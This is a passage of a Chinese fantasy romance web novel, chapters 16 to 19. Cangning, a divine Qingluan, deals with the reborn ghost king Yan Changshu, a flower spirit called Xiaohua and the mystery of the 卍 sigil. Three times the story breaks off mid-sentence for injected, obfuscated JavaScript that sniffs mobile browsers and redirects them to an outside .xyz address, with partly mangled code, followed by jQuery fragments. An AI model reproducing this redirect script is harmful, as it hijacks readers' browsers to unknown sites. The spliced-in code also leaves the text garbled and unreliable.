苍宁无力地闭上眼,又睁开眼望天,感觉头更痛了。 她能说不吗? 可如果不,现在的晏长书又会做些什么? 她说是? 假若晏长书恢复记忆,那么她岂非是自投罗网,一切白费功夫? 她一向弄不懂晏长书在想些什么。从前如此,现在依旧。 苍宁绕开这个话题:“和醉酒之人有什么好交谈的。” “桃枝说,你掏了你夫君的坟。” “关你什么事。” 晏长书道:“桃枝说,你爱在心口难开,死了都要爱,所以把他一直带在身旁。” 苍宁:“……” 原来这事儿还能这么解释? 苍宁张口,又闭口,再张口恨恨道:“你放心吧,等你死了我也会把你带在身边。” 晏长书微微一笑:“那太好了。” 苍宁难以理解地合上门,末了,又打开门,挥手把桃枝腾空招了起来,唰的一下丢进房里。苍宁以迅雷不及掩耳之势闩上门,为的是防止晏长书进来。 她低头拍拍桃枝的脸,催促他醒过来。 桃枝呜咽了一声,睁开眼一惊一乍道:“我梦见鬼王了!我梦见他——他要助我飞升上神!” “做梦做够了就起来。”苍宁嫌弃道,“求他不如求我。” 就在此时,房门外站来一段隽雅身姿,伸手敲门。 两声砰砰过后,桃枝惊讶道:“那个小白脸还没走?” 苍宁抱手而立,笑得阴恻恻的:“你的事业,你的前途,你爹娘的期盼就在外面站着呢,”她上手扯过桃枝的衣领,“外面那站着的就是醒来后的晏长书。什么床.伴,什么恩爱,你刚刚和他讲的那些乱七八糟的你自己给我圆回来,听见没有?” 桃枝迷蒙地双眼瞬间清醒:“啊?!” 门外的人仍旧很有礼数,见里头没人理他,又敲敲门:“小娘,为什么桃枝可以进你的房间,我却要出去。” 苍宁头疼地坐下了。 这家伙是不是十万个为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030010|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么啊? “小娘,你快把桃枝扔出来。”晏长书有理有据道,“我才是你的床.伴。” 桃枝听到关键词,忙不迭从地上爬起来,四肢生风,想要远离这场闹剧:“我现在就滚。”临走前,他还嗫嚅了句,“前辈,青少年是敏感期,不好管,很多人就是在这个时期阴暗爬行暴起发癫的,你、你要注意看见孩子真正的需求啊。” 桃枝把门哐一声打开,和晏长书打了个照面。他向来能说会道,猛地一霎竟然一个字都说不出来,先是对上晏长书幽黑的眼眸,再是回头看苍宁脸色,最后垂下头谁都不看,灰溜溜把门敞出来:“你们聊你们聊。” 银白月色将晏长书的影子拉得很长,像寺庙香炉里被烧透的一段无人问津的念想。 苍宁盯着他的影子,有种不好的感觉。 即便是顿感之人,在孤单寡女的月夜中也会生出莫名的不对劲感,何况苍宁曾真的和晏长书拜过天地,同床共枕? 他倘若是个孩子,便也罢了……不,他不会永远是个孩子,最该死的是他一直想要长大,如同花木草叶都向往阳光想要生长。 苍宁想起了桃枝的告诫。看见孩子内心真正的需求这回旋镖最后打在了她自己身上。 苍宁道:“我明确地和你说一遍,你不能和我一起睡。” “蛇可以吗?” “蛇也不可以。” “之前可以。” “现在不可以,以后不可以,永远不可以,”苍宁说,“不可以就是不可以。听明白了吗。” “你很讨厌我吗?”晏长书道,“你喝醉之后还会喂我酒,醒来后就变得讨厌我了。” 苍宁的指甲撞在桌角,划出一道刺耳的响动。 她道:“……算不上讨厌。” “既然算不上讨厌,那便称得上喜欢了。对不对?” 苍宁沉默无言。 晏长书保持礼数,就站在门槛处,进来只需毫不费力的一步。 可他们之间确实不止一步之遥。 就在此时,静默的夜晚中忽然出现了小娘子嘻嘻的笑声。 苍宁抬头,看见一个身着红衣的小娘子正在房梁上笑得打滚。她非神非鬼更非人,但气息纯洁无瑕,有如山间百花,面容较丽,让人过目不忘。 “哈哈哈哈哈哈,哈哈哈哈!在招摇山头呆了这么久,还是第一回看见这样的乐子哈哈哈!” 苍宁:“你是何人?” “我?谁都不是呀。”红衣小娘子趴在空中笑道,“倒是你,苍宁,青鸾一族的末裔对吧?原来你们青鸾是这样谈恋爱的呀,真让人笑掉大牙。” 苍宁眯眸。 “好妹妹,别生气呀。”红衣小娘子熟练扎起两条长辫子,眨了眨美眸,“醉酒后亲别人这件事有什么不敢承认的,我可是两只眼睛都看见啦。好久没有看到这么激烈的吻戏了,还以为你们情投意合呢,原来是提上裤子不认人的戏码呀。” 她从房梁上跳下来,苍宁定眸一看,果然是魄体,连魄丹都没有的存在。真是奇怪。 “不过也没关系,要是有什么感情问题呢,可以告诉我,我可是感情专家。”她拿出一本本子,一边问晏长书一边记录,“你是她儿子?哦?是禁.忌恋吗?” 苍宁咬牙切齿:“他不是我儿子!” “那能亲,没问题,能亲就是情郎。”她笑眯眯合上本子,这厢苍宁已经忍不住捏诀儿将这位不速之客缠了起来。 布料将她裹得严严实实,只剩一双眼睛,谁知下一秒布料的罅隙中花瓣散落,汇聚成为一个崭新的红衣小娘子,笑嘻嘻地站在半空。 “你别担心,你亲得那么动情,我知道你喜欢他。我又不抢你的俊俏情郎。”她对苍宁说道,“我也有情郎的,虽然我现在忘了。呃,不重要,反正我喜欢帮助有情人。” 苍宁沉声道:“你看错了,小娘子,我们不是有情人。” “我从来不会看错呀,”她歪头说,“也许是你错了呢。你的意识欺骗了你,你的潜意识却想纠正。不过——至今还没有人会当面和我承认这一点呢。” 17. 一时兴起 红衣小娘子是一问三不知的类型。 她不知道自己从哪里来,要等待什么,经历过什么,想了半天,只说可以叫她小花。 “我觉得我可能是一个很厉害的神仙。”小花道,“我听懂花朵说话,也许我是花神也说不定。” 苍宁提醒她:“你现在在喝的,就是花神百花宴上的百花酿。你不可能是花神。而且喝百花酿的后果你也看过了。” “什么啊?” 苍宁抱手道:“导致胡作非为。” 小花哈哈大笑:“这酒酿得不好,是你们酒量差。” 苍宁不算一个很有耐心的人,能让小花留在这里,不过是因为小花无意中提及了被卍字卷到招摇山的故事。 她并非轻信。 她需要知道频繁出现的卍字是从何而来,和晏长书到底有没有干系,晏长书的任务是不是在浪费她的时间,有没有必要继续进行下去—— 晏长书现在看上去有些虚弱,已经趴在桌上睡着了。 小花一手撑着下巴,一手卷着自己的长发道:“他气息紊乱,堪堪融合,气血很虚,平日里没有好好休养。” 有吗?是这样吗?苍宁还以为自己好吃好喝地供着他,他完全可以健康长大呢? 小花又道:“说实话,我对你有印象不仅是因为青鸾末裔,我记得你之前嫁给了鬼王,后来你杀了他,还刨了他的坟?” “看来你没有完全失忆。” “我本来就没有完全失忆,我只是不记得自己的事情。”小花说指着晏长书说,“你是为了他才刨鬼王的坟吗?” “很遗憾,不是。” 小花目露同情:“那你一定很讨厌鬼王吧,我知道的,有一个令人讨厌的夫君会让女子痛苦万分,醒也折磨,梦也折磨,恨不得第二日他出门便可以如同雨水一样蒸腾消失。一对怨偶就像棋盘上的将,炮车马象卒像锅碗瓢盆一样倒了大片,躺在床上手臂相隔一寸的地方就是楚河汉界。所以我说讨厌已经是给了情面,我该说恨的。” 苍宁就坐在晏长书身旁的另一张椅子上,她淡淡说道:“我并不恨他,我只是想杀他。” 小花眨眨眼睛:“这个我不懂。怎么会有人因为这样的理由除掉对方?如果你恨他,你就会用最恶劣的方式对待他,甚至希望他死掉,如果你对他没有恨——那你为什么杀他?” 苍宁沉默道:“杀鬼王只需要恨一个理由,只需要和我有关系吗?” “嗯……如果你对他没情绪,又没关系,你杀了他做什么呢。” “鬼王荒谬,天道不容——” “哦,我知道了,”小花把唇放在酒瓶子边沿,有一搭没一搭喝酒,“你是神界的代言,最擅长帮那群自己憋不出一个屁的老东西说话。” 苍宁不怒反笑:“审判陌生人并不会显得你很聪明。” “你就当我很无聊嘛。神界肯定放弃了我,不然神界应该会有慈爱的伟大的神明来管管我这个流浪儿的对不对?”小花本来嘟嘟囔囔的,忽然想到什么,一拍手,饶有兴致道,“说回来,你不知道自己真的吻了那家伙,对吧?” 苍宁:“……一定要提这件事吗?”尽管两个话题都很差劲。 “我都承认我很无聊啦,既然这样,我给你看看吧。”小花笑眯眯地抬手,柔软而细小的花瓣从四面八方汇聚而来,在空中形成圆形,中间空余的部分显露出模模糊糊的影像。 模糊的影像不断清晰,有了具体而实际的人物。影像中的苍宁显然一派醉酒模样,身旁的晏长书从堪堪从蛇形变化成人,敏感地被她碰一碰就打颤。 苍宁觉得向一个陌生人证明自己的行为是一件相当古怪的事情。她从没有在找找乐子之外的理由见过自己主动靠近任何一个男人。 可事实是,她确实这么做了。她看见影像中那个自己分享自己暖乎乎的被窝,还用手捧住了他的脸颊。她从影像外听见自己醉得迷迷糊糊的声音,像一锅煮到最后黏黏腻腻的粥,念叨着:晏长书—— 晏长书。 你——怎么变得这么小? 她疑惑的时候,晏长书有些意外。她捧着他的脸翻来覆去地看,拉远看,凑近看,凑到脸边,用手指轻轻摸他的脸。 他黑眸湛亮,低声诱她回答:我是晏长书? 她没有正面回应这个问题。 影像外的苍宁提心吊胆,长长呼出了一口气。虽然她自己都不知道自己在问什么,但总之,她的酒品还没有这么差。 这个念头刚从苍宁的脑袋里划过,那场激情大戏就这样毫无防备地,直接在她面前开演了。 晏长书接过她胡乱的亲吻,湛亮的眼眸星子般闪烁,如同迎接新世界的启示。 吮吻,咂弄,唇瓣间带出滚烫的津液,沉沉墨发纠缠在一起,苍白的肌肤很快留下几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030011|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道暧昧不清的红印,仿佛此刻就是曾经的洞房花烛夜。 影像淡去之时,苍宁眼眸一闪。 小花:“嗯哼,现在你都看清楚了。” 何止看得清楚,有点太清楚,清楚到刺激到了苍宁的神经。 她从不认为自己会有这么动情的表现,可是那一声声喘息和吻似乎不能作假。 小花哼笑道:“晏长书,哼哼哼哼……” 苍宁:“笑什么。” “晏长书,好耳熟的名字,是鬼王吧?看来你对他还是有感情的嘛。” 苍宁:“我对他没感情,醉酒一时兴起罢了。” 小花半眯着眼睛看她,唇角情不自禁勾起来,十分八卦地挑眉道:“那我对他一时兴起,可不可以?” 时间静默一瞬。 苍宁食指点着胳膊:“我必须告诉你,我有义务让他最后变成三好青年,如果你用欺骗和戏弄使他偏离了最终目的,我会惹上麻烦。明白吗?” 苍宁受够了漫无边际的围绕她无休无止的交谈,她皱眉道:“说了这么多,谈谈吧,你想要什么?” 小花张开手,“事先说好,我是无意间看见你们的,可没有抱着什么不该有的目的。倒是你,二话不说把我留下来,总不会是真的有收留流浪儿的癖好吧?” 苍宁盯着她道:“你说你是被卍字卷到了招摇山。” 小花:“没错。” “如果你没有撒谎,我需要弄清楚送你来招摇山的卍字事件。”苍宁道,“如果你在撒谎,另有目的,也别指望能伤我分毫。” “撒谎?是我话太多让我显得不真诚吗?好吧,这确实是我的缺点,”小花道,“我需要找回我的记忆,我需要有慈爱的伟大的神明来管管我这个流浪儿。苍宁,你是神鸟,有机会在神界各地来去自如,你一定能帮帮我。”说到这里,小花眨了眨眼睛,“放心,不管你亲的这男的是鬼王是替身还是情郎,我都帮你搞定。这算是我们条件之外的赠予服务。我的天哪,说不定我是失散多年的月老。” 苍宁:“……你哪只眼睛看出来我对他有意思?” “亲他的时候?” “一时兴起作不了数。” “那是他现在趴在你旁边的时候?你们总是靠得很近。哎呀,我懂的啦,”小花神神秘秘道,“郎君嘛,管他是谁,能让咱们开心的就留在身边。养花肥料,多多益善嘛。” 18. 你相信我 百花酿完全没有把小花灌倒,她说自己不需要睡在床上,百花丛就是梦床。 “我晚上把与我有关的事情整理整理,我想问问小茶花,我之前在她花苞里藏了一些话,但是她长大了,我忘了是哪一朵了……没事,我明天来找你!” 小花来也匆匆,去也匆匆,元气满满。 苍宁让桃枝来房把晏长书扛回去,桃枝扛得那叫一个恭敬,跟太子爷一样,生怕摔着碰着。 “他不会又晕了吧?”桃枝问。 晕? 苍宁坐在窗边,盘腿看书,眼见招摇山的晨光招摇,天边泛着温柔地紫红,晕倒的黑蛇就出现在了苍宁的窗下。 他悄无声息地爬过来,身子没有沾上一丝灰,安安静静、乖乖巧巧地把自己团起来,双瞳犹若黑曜玉。 黑蛇的脑袋先是往前探了探,尔后知趣地往后退。停滞在半空大约片刻,趁着苍宁翻页的瞬间,沿着木窗往上爬行,最后把尾巴翘在蛇身上,呆在苍宁身边。 苍宁终于瞥了他一眼。 黑蛇歪着小脑袋看她,吐了吐蛇信子,人畜无害,可可爱爱。 苍宁平淡地说:“别装了,我知道你能听见。” 也许还听见了很多不该听见的东西。但仅凭晏长书现在这个用一用能力就晕倒的状态,来日也发不成什么疯。一切都好办。 苍宁没有半丝睡意。纸上的文字一个一个印在她脑中,她看书之余,不忘告诫晏长书:“忘记今天的吻。我的事情和你无关。” 黑蛇继续吐了吐蛇信子,没有对这句话做出任何反应和应答。过了好半晌,他才把收回视线,把脑袋搁在自己尾巴旁边,打了个大大的哈欠。 苍宁瞥他:“你听见没有?” 呆蛇没反应,假装听不见。 “狗剩。” 仍是一动不动。 苍宁没法子,压低声音伸手轻揪住他的蛇尾巴:“长书。” 她第一次这么叫他。 苍宁手中的蛇尾冰冰凉凉,软软的,有点滑,她情不自禁揉搓两下,迟迟没有放开。 手感绝佳。 这一回黑蛇脑袋明显弹起来,苍宁看见他黑曜玉一般的眼睛显现出震惊的神色,吐着蛇信子想要扭开她的手,但是怎么扭都没有掏出那只魔爪。 苍宁趁机道:“你去神界要乖乖的,听见没有?嗯?” 被揪住小尾巴的晏长书犹豫了一下,最后慢腾腾挪下来,把脑袋搭在了她的手臂上。 又打了个大大的哈欠。 蛇开始闭目养神。 - 第二日起来桃枝敲锣打鼓送晏长书上学。 相比苍宁的疲惫和晏长书的平淡,桃枝显得格外高兴。 “郎君要上学了!” 他挑的是良辰吉时,听上去比成婚还要讲究。苍宁在床上翻了个身,心里有点不安,跟着坐起来。 窗台的黑蛇早就不见了,已然是穿得人模人样。 苍宁忽然很庆幸当年晏长书戴着那款不知道干什么用的金面具,这样一来,神界能认出他是谁的神仙就能少得多。 少年穿着一袭玄衣,袖子上滚着暗青色,神色岿然不动。昨夜凌乱的发绾成高高的发髻,竟真有几分正人君子的模样。 苍宁伸着懒腰走出来,他过来向她道早安,身上不知涂着什么香,若有似无的,倒也好闻。苍宁不反感,但是苍宁一见他这个衣裳配色就晕。晏长书上一世就惯爱穿这个颜色。 苍宁捏了个诀儿给他换成蓝色,说道:“别穿黑色了,闹心。” 两人离得近,晏长书眉目间冰雪消融,他问:“苍宁,你会和我一起去吗?” “不去。我忙着呢。”苍宁转了一圈,回身问,“你叫我什么?” 他张唇,用只有他们两个能听见的声音轻声问道:“小娘会等我回来吗?” 苍宁瞧了他两眼:“你死在外边我就不用等你了。” 晏长书笑了笑:“那不行,昨晚不是答应你要乖乖的么。” 苍宁敷衍了两句,挥挥手:“去吧去吧。回来检查你功课。” 说罢,他跟着晏长书去了文曲星官处。苍宁回到房里,空瓶的百花酿早已不见,桌上、窗台前好似都被打理了一遍,干干净净,一尘不染。 她叉腰站了半晌,回头站在院落中,用手在额头支起一个小篷,看晏长书两人远行的方向。 看不见了。 但是阳光很好。 这样在神界闲暇的,无忧无虑的时光好像很久都没有过了。苍宁的心情无比放松,从心底升起一种怡然自得的快乐。 不待消停一盏茶的时间,一张容颜姣丽的面庞忽然出现在她眼前,苍宁微微吃惊。 是小花。 能悄无声息的接近她的人,并非常人,小花一介没有魄丹的魄体,能做到如此,属实是出身神秘。 “你在看什么呢?”小花饶有兴致地往苍宁看的地方瞧,“看谁哇,晏长书吗?他穿这个颜色好惹眼,你不担心吗?” 苍宁:“……你这么快就问清楚了。” 苍宁成功转移话题。 小花叽里呱啦说了很多,苍宁成功从中提取出了关键信息:小茶花枯死了,她没有办法知道自己当时留下了什么信息。 “有关自己的关键信息总是会莫名其妙地忘记。来的轨迹,去的方向,总觉得有人在我身上下了咒。” 苍宁道:“你身上没有任何咒。” 准确来说,小花的身上没有任何被旁人施展枷锁的术法,苍宁可以确定。 苍宁:“说说卍字的事情吧。” “嗯……”小花开始回忆,“那是一个午后……” 那是一个午后。故事大约就从这里开始。 然后…… “然后没了。” 苍宁不敢置信道:“你认真的吗?” 小花说:“我再想想。我记得我第一次醒来的时候——” 醒来的时候,小花有考虑一个古怪的问题。 如果自己是一朵花,为什么会在一片黑暗里? 这世间没有任何一朵花会独自盛开,如果——她对记忆里的世间认知没有出现错误的话,她应该在花丛中吧。 她尝试动弹,可是她无法移动。她尝试呼救,可没有人理会她。她就在这片漆黑的空间独自飘荡,直到一个旋转的光点捕捉了她。 “再醒来的时候,我已经在招摇山了。我看见天上有一个巨大的卍字,很有压迫感,是金色的,占据了大半个天空,”小花双手匆忙比划着,“它在旋转,整个世界变得很小很小,就像是……就像是……我躺在一朵花蕊上意外窥见了天空。” 苍宁目光一闪:“你确定吗?” “实话说,以我现在的记忆,我也分不清这究竟是不是我的妄想。”小花凭空在屋檐编了一条花枝,坐在上面荡秋千。少女长长的双马尾蜿蜒在花枝上,纤细的小腿肚上一只蝴蝶翩翩欲飞:“不过我仅存的记忆就是这样。” 相比苍宁美得简单明了,小花显而易见美得艳丽,但不落俗套。一番话后,小花从秋千上跳下来,带着苍宁去看自己醒来的地方。 她找了很久,找到一个很像的山头,躺下后又说不是很像,再换了个山坡。 这片山坡开着大片大片不知名的野花,一点没有瞧见小花口中的小茶花的影子。 山风拂衣不止,小花张开双臂,懒洋洋地说:“我这样找了很久很久,直到你们来到这里。” “你为何不出招摇山?” “我尝试过,我出不去。”小花说,“你看,招摇山是离人间最近的一座仙山,我在这里可以生活得不错,没有花草树木或动物会在乎我是什么魂魄,可是,我若以一具没有魄丹的魄体去往神界,就会被神光所伤;若去往人间,就会变成孤魂野鬼。所以在这里是我最好的选择。” 等这一阵风吹过,小花翻身趴在花丛中,笑着说:“大人来到这里也许是命中注定——帮我排忧解难,更上一层楼。” 苍宁哼了一声:“有人义正言辞地和我说神鬼没有命中注定的事。” “没有吗?我记得——”小花脸上浮现出了深切的迷茫,她摇摇头,“我知道天府宫里有很多格子,嗯……不记得了。看来不是什么重要的事情吧。” 苍宁皱眉。 也就在一瞬间,她脑中忽然传来了桃枝的求救: 【前辈!呼叫前辈,前辈!速来天权宫,速来!!】 苍宁的思绪被打断,暗暗用神识传递: 【出什么事了?】 那头再无反应。 苍宁对小花道:“有事,你先休息。” 小花答应下来:“你去找晏长书吗?” 苍宁:“找罪受。” - 苍宁被桃枝的求救惹出了很多不妙的想法。 她有想过是不是晏长书一到神界就开始大开杀戒了,也想过现在神界该是什么乱七八糟的模样。 她用最快的速度赶到天权宫,还因为不熟悉位置跑偏道了武曲星官的位置,浪费了半盏茶的时间。 神界看上去很和平,没有什么不妙。 天权宫门前的小童正在扫一地的花瓣,苍宁问道:“百花宴还没散?” 扫地小童啊呀了一声:“大人!” “怎么了,桃枝呢?那男的呢?” 苍宁上下打量,没有发现任何伤亡。 小童捂着嘴笑:“大人是说长书师兄吗?正在师傅座下呢。桃枝上仙,约莫是在院落里整理香囊吧。” “什么香囊?” “大人住在三危山,平日里不在主城,可能不知道。百花宴后的三日,可供有情人消遣,若对对方有意,投香囊鲜花可确认心意。” 苍宁看着扫地小童已经扫了一箩筐花瓣,啧了一声:“没想到文曲星官如此受欢迎?” 小童红了脸,挠挠头:“这些不是星官的,星官……废了好大力气才让天权宫安静下来呢。” 小童说得吞吞吐吐,正巧,桃枝背着身子满头大汗地靠在门前:“前、前辈,你来了。” 桃枝怀中抱着大大小小不知多少香囊,颜色各异,款式各异,小山一样高。他小心翼翼地走过来,堆道到门口的箩筐里,擦了一把汗,又进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030012|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门去整理。 小童们一副见怪不怪的模样,倒是苍宁,吃惊得张开了唇。 “桃枝你、你这么受欢迎呢?” 桃枝直起腰来:“这些都是郎君的。” 啊?原来是…… 只稍一想,苍宁就知道这些都是晏长书的。她作势要进门找人,小童拦不住,她走得匆忙,穿过转不完的曲廊在拐角处和文曲星官撞了个满怀。 “哎哟——”文曲星官嘶了声,头上戴着的花滚到了地上,“本星官的腰——” 苍宁扫视一圈,天权宫里静悄悄的,一点读书声都没有,和在人间全然不同。 “星官,你还好么?”苍宁替他捡起花,扶他起来。 文曲星官借力扶腰站起来,摇头叹气数次,看着苍宁,又摇头叹气,来回几次后,苍宁快要被憋死了,连忙问:“星官,你这是怎么了?” 文曲星官道:“大人,你还是把他接回去吧。” “为何?” “他好像不是孩子了。” 苍宁:“意外,纯属意外。” 文曲星官:“他……我……唉,我没有什么能教他的呀。” “如何不能?我没什么要求,将他教得友善正直就好了。” “大人呀。”文曲星官郑重其事道,“我觉着他是我这些年见过最知礼数,最有涵养之人了。而且,要说谈吐和知识,那也是上知天文下知地理,无所不谈。本官……实在是没什么能教给他了。” 文曲星官此言一出,桃枝第一个高兴起来:“这么说,他很好咯?” 文曲星官:“很好,非常好。本官喜欢,刚撤退的乌泱泱的仙子们也喜欢,你看我这宫门口,全都是香囊花瓣,实在是……实在是……百年难见的盛况。大人,你看?” 苍宁顺着文曲星官所指看过去,晏长书盘腿坐在蒲团之上,姿态、仪容无一不是顶好的,令人赏心悦目。 他垂头翻看着书卷,察觉到苍宁的视线,隔着距离与她遥遥相望,起身走来。 文曲星官笑容满面,似乎很是满意。 晏长书不知是不是故意的,张口就喊小娘。那声娘字还没出口,苍宁一个箭步捂住了晏长书的嘴,紧紧贴着他的唇瓣,不让他说话。 苍宁眯眸,用视线暗暗警告。 她可不想满神界都在传她和晏长书有个孩子,她不知为此解释了多少遍了。 晏长书的鼻息萦绕在苍宁指间,有些痒痒的。她收回手,晏长书弯着眼眸道:“苍宁,她们的花和香囊,我都没有接。” 他的嗓音带着少年的清脆,连声音都是轻快的。 苍宁举起手里的花:“巧了,我有一朵。” 晏长书的笑容下意识凝滞了一瞬。 文曲星官的眼神在他们俩之间漂浮不定,慢慢背下手,暗暗拍了拍自己想要夺过自己的花儿的冲动。 苍宁说:“还有事吗?没事我走了。我忙着呢。” 她转身要走,晏长书伸手拿走了她的花儿。 苍宁借机对文曲星官道:“你看,他年岁小,还是不知礼数,得靠星官多教导。” 文曲星官苦着脸:“欸。” 苍宁自顾自往外走,晏长书越过文曲星官,一路跟着她:“苍宁,你去哪儿?” “别管我。你要是不老老实实待在这儿,别怪我不理你。” 许是苍宁眼中的漠视,口中的话语都太过绝情,他有些气息不稳地牵住了她的手腕,将他带到门后。 天权宫前,文曲星官自然会避嫌,可门后还有正在忙活的小童和大惊小怪的桃枝。 苍宁皱眉:“你做什么?” 他沉声道:“我知道你要将我一脚踢开很容易。” “你知道便好。” 晏长书握住她的手腕,轻轻往上抬,云袖之中,露出她雪白的臂膀。 耳听着门后的脚步声越来越近,说话声越来越近,像是时间一样挠人,苍宁悄声警告他:“这里是天权宫,你成何体统!” 他黑漆漆的眼眸一瞬不瞬地注视着她,蕴含着小心翼翼的情感,苍宁回过头,不愿看他的眼睛:“你怎么回事?” “我不是要阻碍你,苍宁。” “你阻止不了我。”苍宁道。从前,现在,没有人可以阻止她。况且,真好笑。苍宁对他说:“你知道我要做什么吗,就阻止阻止的。” “我知道。” “你不知道。” “我知道的。” “你怎么会知道?你什么都不知道!” “苍宁,你相信我。” “相信个屁。” 几番不明不白的“知道”说了几轮,晏长书无奈地笑了两声。他放弃了言语游戏,轻轻侧首,垂下头。他的气息离她的手臂越来越近,炽热的唇瓣没有在她手腕处暧昧的游弋,而是干脆利落地伸出獠牙,一口咬了下去。 血没有流出来。 苍宁不是因为疼痛低呼出声,而是因为突然。 “你这个骗子——”苍宁咬唇。 晏长书喉珠滑动,将她的血吞咽下去,低垂的双眸滑过浅浅的,赤青色华光。 19. 他在说谎(修) 鲜血一滴不漏地流进晏长书嘴里,苍宁反手掐住他的下巴,任两点伤口暴露出来,盯住他眼中赤青色的影子。 她看不见的是,自己的双眸中同样闪过了一样的颜色。 卍字从他们双眸中慢慢地淡下去。 苍宁手腕上的伤口痊愈了,心鼓动得极快,掐着他下巴的手变得滚烫,不管不顾他们近到能够看见彼此瞳孔的距离,低声道:“你最好有一个足够合理的解释。” 他张唇道:“苍宁……” 苍宁的声音压得很低,明显是在压抑自己的怒气。因此,她温柔得近乎诡谲,纤长的食指搭在他脸颊旁,掐出一道不深不浅的红痕:“不要试图给我施加幻术,否则,我绝不会放过你。” 她的告诫声虽轻,但如刀破乱风一样爽利。 苍宁余光瞥见文曲星官遥遥走来的影子,甩手放开了他。 她看着晏长书眼底迷蒙的光,深深的笑意,总觉得他不但没有半分悔改,反而在笑意中淌着一股子勃勃的疯劲。苍宁甚至不确定,他是不是在享受她对他的情绪、对他的告诫、对他的注视——在她盯住他的眼睛时,他瞳孔几乎兴奋地颤动。 而在他人面前,他可以随时变为山间清风般清隽的少年,知礼数,有教养。 苍宁曾经想要让他在神界自生自灭,可现在一看,晏长书反而在神界如鱼得水,逍遥自在。 “若下次有事,直接找我罢。”晏长书侧身道。 见苍宁不答,他追问道: “桃枝与你私聊么?” “这怎么能叫私聊?神识传话罢了,众神皆会。” “他害你白跑一趟。”他说,“他会的,我也会,我不会让你白跑一趟。” 苍宁静看他两秒:“你还好意思说他,他让我白跑一趟,痴痴傻傻;你让我徒劳生气,说话吞吐隐藏。你们两个都不是什么好东西。” 晏长书小声道:“我隐藏什么了?” “上次问你‘卍’字,你是怎么答的?”苍宁控诉道,“丸子。鱼肉丸子,豆腐丸子。若不是因为桃枝厨艺差劲,你还要说多少种丸子出来?仁义礼信,装得像样;装痴卖傻,一件不落。你若是不知晓那是什么,你如何破解的李漱幻梦,又如何在刚刚露出了卍字。你分明有所隐瞒。” 晏长书见文曲星官走近的步伐反复横跳,拉着苍宁走到门的另一旁:“这不过是我生来就有的东西,我要怎么解释我没有要求拥有的,但是本来就有的东西?” “这是你生来就有的东西,”苍宁皱眉,“你就一点儿不好奇我为什么拥有吗?” 晏长书手一僵。 “你一点都不在乎属于你的东西也属于我了吗?” 他神姿风容,微微一笑:“我不是不在乎……苍宁,我很在乎,我把这份力量给你是因为……”他偏过头,仔细想了想,脸庞带着一点不易察觉的红晕,“你,你难道不明白?” 苍宁:“我明白。” 她的一句话干脆利落,这一切突然之间,一下子在他面前明亮起来。而她的下一句话,就像闪电一样不可避免地击中了他。 “我明白,你是个骗子。”她先无所顾忌地下了一个定论,“值得我白白跑来一趟确定你在做什么,在想什么的骗子。” 晏长书:“啊?” 苍宁开始怀疑,她被自己的认知,被晏长书表现出来的假象愚弄了。 她是青鸾一族,没有像凤凰一样在灰烬中重生的能力。死了就是死了。她或许应当早点想到,晏长书和青鸾一族不一样。 他从没有问过自己来于何处,也从没有好奇过自己的身世。他在人间会昌寺时,就有了一个和前世相同的名字,长书。 尽管她一直拒绝相信,但是一切向来有迹可循。他知道自己是长书,他在她醉酒时欣然接过了“晏长书”这个姓名,没有一丝反感——这一切不是臆想,是她在小花那里亲眼所见。她清清楚楚,明明白白知道的。 可晏长书隐瞒了这一切。 他也不想提及他从前的身份吗? 他在伺机报复吗? 他咬她,是在下毒,好让她在一个深夜忽然一命呜呼吗? 他需要这种见不得人的复仇法吗? 苍宁问:“你为什么咬我?” 晏长书沉吟半晌,自嘲道:“如果你将我定义为骗子,你想听骗子口中什么话?” 骗子的话纵然无法让人相信,可是苍宁却有办法让他不说谎。神界有各种各样的神器,她也有足够强大的言灵。 她伸手,画阵。白金色的法阵进入晏长书的身体,留下她的痕迹。足够强大的言灵会让苍宁第一时间知晓晏长书在说违心话。 当那声违心话出现时,他们都会听到仅存于他们两人之间的铃铃脆响。苍宁期待扒下他面具的那一刻,让他亲口承认自己都是在说谎—— 于是,她又问了一遍方才的问题:“你为什么咬我。” “因为你需要我。” 苍宁等待了一会儿。 那声爽快的脆响并没有出现。 晏长书也重复了一遍:“因为你需要我,苍宁。” 文曲星官踌躇已久的脚步实在没地方折腾了,慢慢挪过来,赔笑道:“大人,我的两位大人物们啊……” 晏长书当即行礼,对方才的行径道了歉。按照他的说法,他不该无视这里是天权宫,独自将苍宁拉远,而忽视了文曲星君的存在,就凭这一套说辞,苍宁仍然没有听见自己想要听的响声。 她的术法失灵了。多奇怪,多新鲜,穷尽几千年都没有发生过这样的事情,莫非是因为他眼中一闪而过的卍字已经将她卷入了不自知的幻术之中? 